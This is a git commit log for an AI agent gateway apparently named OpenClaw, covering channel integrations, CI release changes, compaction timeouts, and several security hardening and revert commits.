* Plugins: migrate legacy scoped update ids
2026-03-15 09:07:10 -07:00
Peter Steinberger
0c7ae04262 style: format imported model helpers 2026-03-15 09:05:45 -07:00
Peter Steinberger
7c0a849ed7 fix: harden device token rotation denial paths 2026-03-15 09:05:45 -07:00
Vincent Koc
a60fd3feed Nodes tests: prove pull-time policy revalidation 2026-03-15 09:05:22 -07:00
Aditya Chaudhary
f5cd7c390d added a fix for memory leak on 2gb ram (#46522) 2026-03-15 09:01:31 -07:00
Peter Steinberger
87c4ae36b4 refactor: drop deprecated whatsapp mention pattern sdk helper 2026-03-15 08:50:31 -07:00
Vincent Koc
ec2c6d83b9 Nodes: recheck queued actions before delivery (#46815)
* Nodes: recheck queued actions before delivery

* Nodes tests: cover pull-time policy recheck

* Nodes tests: type node policy mocks explicitly
2026-03-15 08:47:17 -07:00
Peter Steinberger
ff61343d76 fix: harden mention pattern regex compilation 2026-03-15 08:44:12 -07:00
Vincent Koc
e4c61723cd ACP: fail closed on conflicting tool identity hints (#46817)
* ACP: fail closed on conflicting tool identity hints

* ACP: restore rawInput fallback for safe tool resolution

* ACP tests: cover rawInput-only safe tool approval
2026-03-15 08:39:49 -07:00
Tak Hoffman
89e3969d64 feat(feishu): add ACP and subagent session binding (#46819)
* feat(feishu): add ACP session support

* fix(feishu): preserve sender-scoped ACP rebinding

* fix(feishu): recover sender scope from bound ACP sessions

* fix(feishu): support DM ACP binding placement

* feat(feishu): add current-conversation session binding

* fix(feishu): avoid DM parent binding fallback

* fix(feishu): require canonical topic sender ids

* fix(feishu): honor sender-scoped ACP bindings

* fix(feishu): allow user-id ACP DM bindings

* fix(feishu): recover user-id ACP DM bindings
2026-03-15 10:33:49 -05:00
Peter Steinberger
a472f988d8 fix: harden remote cdp probes 2026-03-15 08:23:01 -07:00
Harold Hunt
53462b990d chore(gateway): ignore .test.ts changes in gateway:watch (#36211) 2026-03-15 11:14:28 -04:00
Peter Steinberger
b2e9221a8c test(whatsapp): fix stale append inbox expectation 2026-03-15 07:57:26 -07:00
Ayaan Zaidi
c4265a5f16 fix: preserve Telegram word boundaries when rechunking HTML (#47274)
* fix: preserve Telegram chunk word boundaries

* fix: address Telegram chunking review feedback

* fix: preserve Telegram retry separators

* fix: preserve Telegram chunking boundaries (#47274)
2026-03-15 18:10:49 +05:30
Andrew Demczuk
26e0a3ee9a fix(gateway): skip Control UI pairing when auth.mode=none (closes #42931) (#47148)
When auth is completely disabled (mode=none), requiring device pairing
for Control UI operator sessions adds friction without security value
since any client can already connect without credentials.

Add authMode parameter to shouldSkipControlUiPairing so the bypass
fires only for Control UI + operator role + auth.mode=none. This avoids
the #43478 regression where a top-level OR disabled pairing for ALL
websocket clients.
2026-03-15 13:03:39 +01:00
助爪
5c5c64b612 Deduplicate repeated tool call IDs for OpenAI-compatible APIs (#40996)
Merged via squash.

Prepared head SHA: 38d8048359
Co-authored-by: xaeon2026 <264572156+xaeon2026@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-15 19:46:07 +08:00
Jason
9d3e653ec9 fix(web): handle 515 Stream Error during WhatsApp QR pairing (#27910)
* fix(web): handle 515 Stream Error during WhatsApp QR pairing

getStatusCode() never unwrapped the lastDisconnect wrapper object,
so login.errorStatus was always undefined and the 515 restart path
in restartLoginSocket was dead code.

- Add err.error?.output?.statusCode fallback to getStatusCode()
- Export waitForCredsSaveQueue() so callers can await pending creds
- Await creds flush in restartLoginSocket before creating new socket

Fixes #3942

* test: update session mock for getStatusCode unwrap + waitForCredsSaveQueue

Mirror the getStatusCode fix (err.error?.output?.statusCode fallback)
in the test mock and export waitForCredsSaveQueue so restartLoginSocket
tests work correctly.

* fix(web): scope creds save queue per-authDir to avoid cross-account blocking

The credential save queue was a single global promise chain shared by all
WhatsApp accounts. In multi-account setups, a slow save on one account
blocked credential writes and 515 restart recovery for unrelated accounts.

Replace the global queue with a per-authDir Map so each account's creds
serialize independently. waitForCredsSaveQueue() now accepts an optional
authDir to wait on a single account's queue, or waits on all when omitted.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test: use real Baileys v7 error shape in 515 restart test

The test was using { output: { statusCode: 515 } } which was already
handled before the fix. Updated to use the actual Baileys v7 shape
{ error: { output: { statusCode: 515 } } } to cover the new fallback
path in getStatusCode.

Co-Authored-By: Claude Code (Opus 4.6) <noreply@anthropic.com>

* fix(web): bound credential-queue wait during 515 restart

Prevents restartLoginSocket from blocking indefinitely if a queued
saveCreds() promise stalls (e.g. hung filesystem write).

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: clear flush timeout handle and assert creds queue in test

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: evict settled credsSaveQueues entries to prevent unbounded growth

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: share WhatsApp 515 creds flush handling (#27910) (thanks @asyncjason)

---------

Co-authored-by: Jason Separovic <jason@wilma.dog>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-15 17:00:07 +05:30
Ted Li
843e3c1efb fix(whatsapp): restore append recency filter lost in extensions refactor, handle Long timestamps (#42588)
Merged via squash.

Prepared head SHA: 8ce59bb715
Co-authored-by: MonkeyLeeT <6754057+MonkeyLeeT@users.noreply.github.com>
Co-authored-by: scoootscooob <167050519+scoootscooob@users.noreply.github.com>
Reviewed-by: @scoootscooob
2026-03-15 03:03:31 -07:00
Ace Lee
d7ac16788e fix(android): support android node calllog.search (#44073)
* fix(android): support android node  `calllog.search`

* fix(android): support android node calllog.search

* fix(android): wire callLog through shared surfaces

* fix: land Android callLog support (#44073) (thanks @lxk7280)

---------

Co-authored-by: lixuankai <lixuankai@oppo.com>
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-15 14:54:32 +05:30
Frank Yang
4bb8a65edd fix: forward forceDocument through sendPayload path (follow-up to #45111) (#47119)
Merged via squash.

Prepared head SHA: d791190f83
Co-authored-by: thepagent <262003297+thepagent@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-15 17:23:53 +08:00
Sahan
9616d1e8ba fix: Disable strict mode tools for non-native openai-completions compatible APIs (#45497)
Merged via squash.

Prepared head SHA: 20fe05fe74
Co-authored-by: sahancava <57447079+sahancava@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-15 16:36:52 +08:00
Onur Solmaz
a2d73be3a4 Docs: switch README logo to SVG assets (#47049) 2026-03-15 08:58:45 +01:00
SkunkWorks0x
c33375f843 docs: replace outdated Clawdbot references with OpenClaw in skill docs (#41563)
Update 5 references to the old "Clawdbot" name in
skills/apple-reminders/SKILL.md and skills/imsg/SKILL.md.

Co-authored-by: imanisynapse <imanisynapse@gmail.com>
2026-03-15 08:29:19 +01:00
Praveen K Singh
d230bd9c38 Docs: fix stale Clawdbot branding in agent workflow file (#46963)
Co-authored-by: webdevpraveen <webdevpraveen@users.noreply.github.com>
2026-03-15 08:01:03 +01:00
Ayaan Zaidi
6a458ef29e fix: harden compaction timeout follow-ups 2026-03-15 12:13:23 +05:30
Jason
f77a684131 feat: make compaction timeout configurable via agents.defaults.compaction.timeoutSeconds (#46889)
* feat: make compaction timeout configurable via agents.defaults.compaction.timeoutSeconds

The hardcoded 5-minute (300s) compaction timeout causes large sessions
to enter a death spiral where compaction repeatedly fails and the
session grows indefinitely. This adds agents.defaults.compaction.timeoutSeconds
to allow operators to override the compaction safety timeout.

Default raised to 900s (15min) which is sufficient for sessions up to
~400k tokens. The resolved timeout is also used for the session write
lock duration so locks don't expire before compaction completes.

Fixes #38233

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* test: add resolveCompactionTimeoutMs tests

Cover config resolution edge cases: undefined config, missing
compaction section, valid seconds, fractional values, zero,
negative, NaN, and Infinity.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: add timeoutSeconds to compaction Zod schema

The compaction object schema uses .strict(), so setting the new
timeoutSeconds config option would fail validation at startup.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: enforce integer constraint on compaction timeoutSeconds schema

Prevents sub-second values like 0.5 which would floor to 0ms and
cause immediate compaction timeout. Matches pattern of other
integer timeout fields in the schema.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: clamp compaction timeout to Node timer-safe maximum

Values above ~2.1B ms overflow Node's setTimeout to 1ms, causing
immediate timeout. Clamp to MAX_SAFE_TIMEOUT_MS matching the
pattern in agents/timeout.ts.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: add FIELD_LABELS entry for compaction timeoutSeconds

Maintains label/help parity invariant enforced by
schema.help.quality.test.ts.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: align compaction timeouts with abort handling

* fix: land compaction timeout handling (#46889) (thanks @asyncjason)

---------

Co-authored-by: Jason Separovic <jason@wilma.dog>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-15 12:04:48 +05:30
Vincent Koc
8e04d1fe15 macOS: restrict canvas agent actions to trusted surfaces (#46790)
* macOS: restrict canvas agent actions to trusted surfaces

* Changelog: note trusted macOS canvas actions

* macOS: encode allowed canvas schemes as JSON
2026-03-14 23:26:19 -07:00
Vincent Koc
3cbf932413 Tlon: honor explicit empty allowlists and defer cite expansion (#46788)
* Tlon: fail closed on explicit empty allowlists

* Tlon: preserve cited content for owner DMs
2026-03-14 23:24:53 -07:00
Vincent Koc
d1e4ee03ff fix(context): skip eager warmup for non-model CLI commands 2026-03-14 23:20:15 -07:00
Jinhao Dong
8e4a1d87e2 fix(openrouter): silently dropped images for new OpenRouter models — runtime capability detection (#45824)
* fix: fetch OpenRouter model capabilities at runtime for unknown models

When an OpenRouter model is not in the built-in static snapshot from
pi-ai, the fallback hardcodes input: ["text"], silently dropping images.

Query the OpenRouter API at runtime to detect actual capabilities
(image support, reasoning, context window) for models not in the
built-in list. Results are cached in memory for 1 hour. On API
failure/timeout, falls back to text-only (no regression).

* feat(openrouter): add disk cache for OpenRouter model capabilities

Persist the OpenRouter model catalog to ~/.openclaw/cache/openrouter-models.json
so it survives process restarts. Cache lookup order:

1. In-memory Map (instant)
2. On-disk JSON file (avoids network on restart)
3. OpenRouter API fetch (populates both layers)

Also triggers a background refresh when a model is not found in the cache,
in case it was newly added to OpenRouter.

* refactor(openrouter): remove pre-warm, use pure lazy-load with disk cache

- Remove eager ensureOpenRouterModelCache() from run.ts
- Remove TTL — model capabilities are stable, no periodic re-fetching
- Cache lookup: in-memory → disk → API fetch (only when needed)
- API is only called when no cache exists or a model is not found
- Disk cache persists across gateway restarts

* fix(openrouter): address review feedback

- Fix timer leak: move clearTimeout to finally block
- Fix modality check: only check input side of "->" separator to avoid
  matching image-generation models (text->image)
- Use resolveStateDir() instead of hardcoded homedir()/.openclaw
- Separate cache dir and filename constants
- Add utf-8 encoding to writeFileSync for consistency
- Add data validation when reading disk cache

* ci: retrigger checks

* fix: preload unknown OpenRouter model capabilities before resolve

* fix: accept top-level OpenRouter max token metadata

* fix: update changelog for OpenRouter runtime capability lookup (#45824) (thanks @DJjjjhao)

* fix: avoid redundant OpenRouter refetches and preserve suppression guards

---------

Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-15 11:48:39 +05:30
Vincent Koc
a97b9014a2 External content: sanitize wrapped metadata (#46816) 2026-03-14 23:06:30 -07:00
Peter Steinberger
8851d06429 docs: reorder unreleased changelog 2026-03-14 22:16:41 -07:00
Ayaan Zaidi
37c79f84ba fix(android): theme popup surfaces 2026-03-15 09:48:08 +05:30
Sebastian Schubotz
db20141993 feat(android): add dark theme (#46249)
* Android: add mobile dark theme

* Android: fix remaining dark mode card surfaces

* Android: address dark mode review comments

* fix(android): theme onboarding flow

* fix: add Android dark theme coverage (#46249) (thanks @sibbl)

---------

Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-15 08:35:04 +05:30
Tak Hoffman
29fec8bb9f fix(gateway): harden health monitor account gating (#46749)
* gateway: harden health monitor account gating

* gateway: tighten health monitor account-id guard
2026-03-14 21:58:28 -05:00
Vincent Koc
8aaafa045a docker: add lsof to runtime image (#46636) 2026-03-14 19:40:29 -07:00
rstar327
ba6064cc22 feat(gateway): make health monitor stale threshold and max restarts configurable (openclaw#42107)
Verified:
- pnpm exec vitest --run src/config/config-misc.test.ts -t "gateway.channelHealthCheckMinutes"
- pnpm exec vitest --run src/gateway/server-channels.test.ts -t "health monitor"
- pnpm exec vitest --run src/gateway/channel-health-monitor.test.ts src/gateway/server/readiness.test.ts
- pnpm exec vitest --run extensions/feishu/src/outbound.test.ts
- pnpm exec tsc --noEmit

Co-authored-by: rstar327 <114364448+rstar327@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-14 21:21:56 -05:00
Tak Hoffman
f00db91590 fix(plugins): prefer explicit installs over bundled duplicates (#46722)
* fix(plugins): prefer explicit installs over bundled duplicates

* test(feishu): mock structured card sends in outbound tests

* fix(plugins): align duplicate diagnostics with loader precedence
2026-03-14 21:08:32 -05:00
Radek Sienkiewicz
e3b7ff2f1f Docs: fix MDX markers blocking page refreshes (#46695)
Merged via squash.

Prepared head SHA: 56b25a9fb3
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-15 02:58:59 +01:00
songlei
df3a247db2 feat(feishu): structured cards with identity header, note footer, and streaming enhancements (openclaw#29938)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: nszhsl <512639+nszhsl@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-14 20:31:46 -05:00
Tak Hoffman
f4dbd78afd Add Feishu reactions and card action support (#46692)
* Add Feishu reactions and card action support

* Tighten Feishu action handling
2026-03-14 20:25:02 -05:00
Hiago Silva
946c24d674 fix: validate edge tts output file is non-empty before reporting success (#43385) thanks @Huntterxx
Merged after review.\n\nSmall, scoped fix: treat 0-byte Edge TTS output as failure so provider fallback can continue.
2026-03-14 20:22:09 -05:00
Tomsun28
c57b750be4 feat(provider): support new model zai glm-5-turbo, performs better for openclaw (openclaw#46670)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: tomsun28 <24788200+tomsun28@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-14 20:19:41 -05:00
Radek Sienkiewicz
4c6a7f84a4 docs: remove dead security README nav entry (#46675)
Merged via squash.

Prepared head SHA: 63331a54b8
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-15 01:40:00 +01:00
Tak Hoffman
774b40467b fix(zalouser): stop inheriting dm allowlist for groups (#46663) 2026-03-14 19:10:11 -05:00
nmccready
f4aff83c51 feat(webchat): add toggle to hide tool calls and thinking blocks (#20317) thanks @nmccready
Merged via maintainer override after review.\n\nRed required checks are unrelated to this PR; local inspection found no blocker in the diff.
2026-03-14 19:03:04 -05:00
Tak Hoffman
e5a42c0bec fix(feishu): keep sender-scoped thread bootstrap across id types (#46651) 2026-03-14 18:47:05 -05:00
Andrew Demczuk
92fc8065e9 fix(gateway): remove re-introduced auth.mode=none pairing bypass
The revert of #43478 (commit 39b4185d0b) was silently undone by
3704293e6f which was based on a branch that included the original
change. This removes the auth.mode=none skipPairing condition again.

The blanket skip was too broad - it disabled pairing for ALL websocket
clients, not just Control UI behind reverse proxies.
2026-03-15 00:46:24 +01:00
Tomáš Dinh
b5b589d99d fix(zalo): use plugin-sdk export for webhook client IP resolution (openclaw#46549)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Tomáš Dinh <82420070+No898@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-14 18:37:56 -05:00
Gugu-sugar
c1a0196826 Fix Codex CLI auth profile sync (#45353)
Merged via squash.

Prepared head SHA: e5432ec4e1
Co-authored-by: Gugu-sugar <201366873+Gugu-sugar@users.noreply.github.com>
Co-authored-by: grp06 <1573959+grp06@users.noreply.github.com>
Reviewed-by: @grp06
2026-03-14 16:36:09 -07:00
Andrew Demczuk
b202ac2ad1 revert: restore supportsUsageInStreaming=false default for non-native endpoints
Reverts #46500. Breaks Ollama, LM Studio, TGI, LocalAI, Mistral API -
these backends reject stream_options with 400/422.

This reverts commit bb06dc7cc9.
2026-03-15 00:34:04 +01:00
George Zhang
2806f2b878 Heartbeat: add isolatedSession option for fresh session per heartbeat run (#46634)
Reuses the cron isolated session pattern (resolveCronSession with forceNew)
to give each heartbeat a fresh session with no prior conversation history.
Reduces per-heartbeat token cost from ~100K to ~2-5K tokens.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-14 16:28:01 -07:00
day253
9e8df16732 feat(feishu): add reasoning stream support to streaming cards (openclaw#46029)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: day253 <9634619+day253@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-14 18:23:03 -05:00
ufhy
3928b4872a fix: persist context-engine auto-compaction counts (#42629)
Merged via squash.

Prepared head SHA: df8f292039
Co-authored-by: uf-hy <41638541+uf-hy@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-14 16:22:10 -07:00
Brian Qu
8a607d7553 fix(feishu): fetch thread context so AI can see bot replies in topic threads (#45254)
* fix(feishu): fetch thread context so AI can see bot replies in topic threads

When a user replies in a Feishu topic thread, the AI previously could only
see the quoted parent message but not the bot's own prior replies in the
thread. This made multi-turn conversations in threads feel broken.

- Add `threadId` (omt_xxx) to `FeishuMessageInfo` and `getMessageFeishu`
- Add `listFeishuThreadMessages()` using `container_id_type=thread` API
  to fetch all messages in a thread including bot replies
- In `handleFeishuMessage`, fetch ThreadStarterBody and ThreadHistoryBody
  for topic session modes and pass them to the AI context
- Reuse quoted message result when rootId === parentId to avoid redundant
  API calls; exclude root message from thread history to prevent duplication
- Fall back to inbound ctx.threadId when rootId is absent or API fails
- Fetch newest messages first (ByCreateTimeDesc + reverse) so long threads
  keep the most recent turns instead of the oldest

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): skip redundant thread context injection on subsequent turns

Only inject ThreadHistoryBody on the first turn of a thread session.
On subsequent turns the session already contains prior context, so
re-injecting thread history (and starter) would waste tokens.

The heuristic checks whether the current user has already sent a
non-root message in the thread — if so, the session has prior turns
and thread context injection is skipped entirely.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): handle thread_id-only events in prior-turn detection

When ctx.rootId is undefined (thread_id-only events), the starter
message exclusion check `msg.messageId !== ctx.rootId` was always
true, causing the first follow-up to be misclassified as a prior
turn. Fall back to the first message in the chronologically-sorted
thread history as the starter.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): bootstrap topic thread context via session state

* test(memory): pin remote embedding hostnames in offline suites

* fix(feishu): use plugin-safe session runtime for thread bootstrap

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-14 18:01:59 -05:00
George Zhang
3704293e6f browser: drop headless/remote MCP attach modes, simplify existing-session to autoConnect-only (#46628) 2026-03-14 15:54:22 -07:00
Josh Lehman
2f7e548a57 chore: regenerate config baseline (#46598) 2026-03-14 15:44:13 -07:00
George Zhang
b1d8737017 browser: drop chrome-relay auto-creation, simplify to user profile only (#46596)
Merged via squash.

Prepared head SHA: 74becc8f7d
Co-authored-by: odysseus0 <8635094+odysseus0@users.noreply.github.com>
Co-authored-by: odysseus0 <8635094+odysseus0@users.noreply.github.com>
Reviewed-by: @odysseus0
2026-03-14 15:40:02 -07:00
Vincent Koc
39b4185d0b revert: 9bffa3422c 2026-03-14 15:09:22 -07:00
Vincent Koc
173fe3cb54 feat(browser): add headless existing-session MCP support esp for Linux/Docker/VPS (#45769)
* fix(browser): prefer managed default profile in headless mode

* test(browser): cover headless default profile fallback

* feat(browser): support headless MCP profile resolution

* feat(browser): add headless and target-url Chrome MCP modes

* feat(browser): allow MCP target URLs in profile creation

* docs(browser): document headless MCP existing-session flows

* fix(browser): restore playwright browser act helpers

* fix(browser): preserve strict selector actions

* docs(changelog): add existing-session MCP note
2026-03-14 14:59:30 -07:00
Vincent Koc
92834c8440 fix(deps): update package yauzl 2026-03-14 14:35:17 -07:00
Vincent Koc
39377b7a20 UI: surface gateway restart reasons in dashboard disconnect state (#46580)
* UI: surface gateway shutdown reason

* UI: add gateway restart disconnect tests

* Changelog: add dashboard restart reason fix

* UI: cover reconnect shutdown state
2026-03-14 14:31:26 -07:00
Vincent Koc
cbec476b6b Docs: add config drift baseline statefile (#45891)
* Docs: add config drift statefile generator

* Docs: generate config drift baseline

* CI: move config docs drift runner into workflow sanity

* Docs: emit config drift baseline json

* Docs: commit config drift baseline json

* Docs: wire config baseline into release checks

* Config: fix baseline drift walker coverage

* Docs: regenerate config drift baselines
2026-03-14 14:23:30 -07:00
Vincent Koc
432ea11248 Security: add secops ownership for sensitive paths (#46440)
* Meta: add secops ownership for sensitive paths

* Docs: restrict Codeowners-managed security edits

* Meta: guide agents away from secops-owned paths

* Meta: broaden secops CODEOWNERS coverage

* Meta: narrow secops workflow ownership
2026-03-14 14:16:14 -07:00
Tak Hoffman
e81442ac80 Fix full local gate on main 2026-03-14 15:52:11 -05:00
Andrew Demczuk
678ea77dcf style(gateway): fix oxfmt formatting and remove unused test helper 2026-03-14 21:46:53 +01:00
Andrew Demczuk
747609d7d5 fix(node): remove debug console.log on node host startup
Fixes #46411

Fixes #46411
2026-03-14 21:17:48 +01:00
Tak Hoffman
b49e1386d0 Fix test environment regressions on main 2026-03-14 14:26:22 -05:00
Andrew Demczuk
bb06dc7cc9 fix(agents): restore usage tracking for non-native openai-completions providers
Fixes #46142

Stop forcing supportsUsageInStreaming=false on non-native openai-completions
endpoints. Most OpenAI-compatible APIs (DashScope, DeepSeek, Groq, Together,
etc.) handle stream_options: { include_usage: true } correctly. The blanket
disable broke usage/cost tracking for all non-OpenAI providers.

supportsDeveloperRole is still forced off for non-native endpoints since
the developer message role is genuinely OpenAI-specific.

Users on backends that reject stream_options can opt out with
compat.supportsUsageInStreaming: false in their model config.

Fixes #46142
2026-03-14 19:41:21 +01:00
Onur
d33f3f843a ci: allow fallback npm correction tags (#46486) 2026-03-14 19:38:14 +01:00
Sally O'Malley
8db6fcca77 fix(gateway/cli): relax local backend self-pairing and harden launchd restarts (#46290)
Signed-off-by: sallyom <somalley@redhat.com>
2026-03-14 14:27:52 -04:00
scoootscooob
ac29edf6c3 fix(ci): update vitest configs after channel move to extensions/ (openclaw#46066)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: scoootscooob <167050519+scoootscooob@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-14 13:23:25 -05:00
Andrew Demczuk
e490f450f3 fix(auth): clear stale lockout state when user re-authenticates
Fixes #43057

* fix(auth): clear stale lockout on re-login

Clear stale `auth_permanent` and `billing` disabled state for all
profiles matching the target provider when `openclaw models auth login`
is invoked, so users locked out by expired or revoked OAuth tokens can
recover by re-authenticating instead of waiting for the cooldown timer.

Uses the agent-scoped store (`loadAuthProfileStoreForRuntime`) for
correct multi-agent profile resolution and wraps the housekeeping in
try/catch so corrupt store files never block re-authentication.

Fixes #43057

* test(auth): remove unnecessary non-null assertions

oxlint no-unnecessary-type-assertion: invocationCallOrder[0]
already returns number, not number | undefined.
2026-03-14 19:20:12 +01:00
Andrew Demczuk
9bffa3422c fix(gateway): skip device pairing when auth.mode=none
Fixes #42931

When gateway.auth.mode is set to "none", authentication succeeds with
method "none" but sharedAuthOk remains false because the auth-context
only recognises token/password/trusted-proxy methods. This causes all
pairing-skip conditions to fail, so Control UI browser connections get
closed with code 1008 "pairing required" despite auth being disabled.

Short-circuit the skipPairing check: if the operator explicitly
disabled authentication, device pairing (which is itself an auth
mechanism) must also be bypassed.

Fixes #42931
2026-03-14 19:17:39 +01:00
Andrew Demczuk
c6e32835d4 fix(feishu): clear stale streamingStartPromise on card creation failure
Fixes #43322

* fix(feishu): clear stale streamingStartPromise on card creation failure

When FeishuStreamingSession.start() throws (HTTP 400), the catch block
sets streaming = null but leaves streamingStartPromise dangling. The
guard in startStreaming() checks streamingStartPromise first, so all
future deliver() calls silently skip streaming - the session locks
permanently.

Clear streamingStartPromise in the catch block so subsequent messages
can retry streaming instead of dropping all future replies.

Fixes #43322

* test(feishu): wrap push override in try/finally for cleanup safety
2026-03-14 19:15:49 +01:00
Andrew Demczuk
d9bc1920ed docs: add ademczuk to maintainers list 2026-03-14 19:12:47 +01:00
Vincent Koc
c30cabcca4 Docs: sweep recent user-facing updates (#46424)
* Docs: document Telegram force-document sends

* Docs: note Telegram document send behavior

* Docs: clarify memory file precedence

* Docs: align default AGENTS memory guidance

* Docs: update workspace FAQ memory note

* Docs: document gateway status require-rpc

* Docs: add require-rpc to gateway CLI index
2026-03-14 10:20:44 -07:00
Nimrod Gutman
0e893347f6 docs(nav): move btw to end of built-in tools (#46416) 2026-03-14 19:16:57 +02:00
Vincent Koc
d039add663 Slack: preserve interactive reply blocks in DMs (#45890)
* Slack: forward reply blocks in DM delivery

* Slack: preserve reply blocks in preview finalization

* Slack: cover block-only DM replies

* Changelog: note Slack interactive reply fix
2026-03-14 10:03:06 -07:00
Nimrod Gutman
133cce23ce fix(btw): stop persisting side questions (#46328)
* fix(btw): stop persisting side questions

* docs(btw): document side-question behavior
2026-03-14 19:01:13 +02:00
scoootscooob
d9c285e930 Fix configure startup stalls from outbound send-deps imports (#46301)
* fix: avoid configure startup plugin stalls

* fix: credit configure startup changelog entry
2026-03-14 09:58:03 -07:00
Onur
62afc4b514 ci: add manual backfill support to Docker release (#46269)
* ci: add docker release backfill workflow

* ci: add manual backfill support to docker release

* ci: keep docker latest tags off manual backfills
2026-03-14 16:36:20 +01:00
Nimrod Gutman
9aac55d306 Add /btw side questions (#45444)
* feat(agent): add /btw side questions

* fix(agent): gate and log /btw reviews

* feat(btw): isolate side-question delivery

* test(reply): update route reply runtime mocks

* fix(btw): complete side-result delivery across clients

* fix(gateway): handle streamed btw side results

* fix(telegram): unblock btw side questions

* fix(reply): make external btw replies explicit

* fix(chat): keep btw side results ephemeral in internal history

* fix(btw): address remaining review feedback

* fix(chat): preserve btw history on mobile refresh

* fix(acp): keep btw replies out of prompt history

* refactor(btw): narrow side questions to live channels

* fix(btw): preserve channel typing indicators

* fix(btw): keep side questions isolated in chat

* fix(outbound): restore typed channel send deps

* fix(btw): avoid blocking replies on transcript persistence

* fix(btw): keep side questions fast

* docs(commands): document btw slash command

* docs(changelog): add btw side questions entry

* test(outbound): align session transcript mocks
2026-03-14 17:27:54 +02:00
Onur
b5ba2101c7 ci: move Docker release to GitHub-hosted runners (#46247)
* ci: move docker release to GitHub-hosted runners

* ci: annotate docker release runner guardrails
2026-03-14 15:54:06 +01:00
Onur Solmaz
c08317203d ci: enforce calver freshness on npm publish 2026-03-14 13:45:40 +01:00
Onur Solmaz
5c9fae5adc chore: add code owners for npm release paths 2026-03-14 13:45:40 +01:00
Onur Solmaz
00891dee90 ci: switch npm release workflow to trusted publishing 2026-03-14 13:45:40 +01:00
Onur Solmaz
61a7f2e7c3 docs: clarify npm release preview and publish flow 2026-03-14 13:45:40 +01:00
Onur Solmaz
02a86da23a ci: preserve manual npm release approval delays 2026-03-14 13:45:40 +01:00
Onur Solmaz
2eea93982f ci: make npm release preview more verbose 2026-03-14 13:45:40 +01:00
Onur Solmaz
78d2bfc4d8 ci: add dry-run gate to npm release workflow 2026-03-14 13:45:40 +01:00
Radek Sienkiewicz
2fad7b823e Update CONTRIBUTING.md 2026-03-14 12:43:53 +01:00
thepagent
0ee11d3321 feat: add --force-document to message.send for Telegram (bypass sendPhoto + image optimizer) (#45111)
* feat: add --force-document to message.send for Telegram

Adds --force-document CLI flag to bypass sendPhoto and use sendDocument
instead, avoiding Telegram image compression for PNG/image files.

- TelegramSendOpts: add forceDocument field
- send.ts: skip sendPhoto when forceDocument=true (mediaSender pattern)
- ChannelOutboundContext: add forceDocument field
- telegramOutbound.sendMedia: pass forceDocument to sendMessageTelegram
- ChannelHandlerParams / DeliverOutboundPayloadsCoreParams: add forceDocument
- createChannelOutboundContextBase: propagate forceDocument
- outbound-send-service.ts: add forceDocument to executeSendAction params
- message-action-runner.ts: read forceDocument from params
- message.ts: add forceDocument to MessageSendParams
- register.send.ts: add --force-document CLI option

* fix: pass forceDocument through telegram action dispatch path

The actual send path goes through dispatchChannelMessageAction ->
telegramMessageActions.handleAction -> handleTelegramAction, not
deliverOutboundPayloads. forceDocument was not being read in
readTelegramSendParams or passed to sendMessageTelegram.

* fix: apply forceDocument to GIF branch to avoid sendAnimation

* fix: add disable_content_type_detection=true to sendDocument for --force-document

* fix: add forceDocument to buildSendSchema for agent discoverability

* fix: scope telegram force-document detection

* test: fix heartbeat target helper typing

* fix: skip image optimization when forceDocument is set

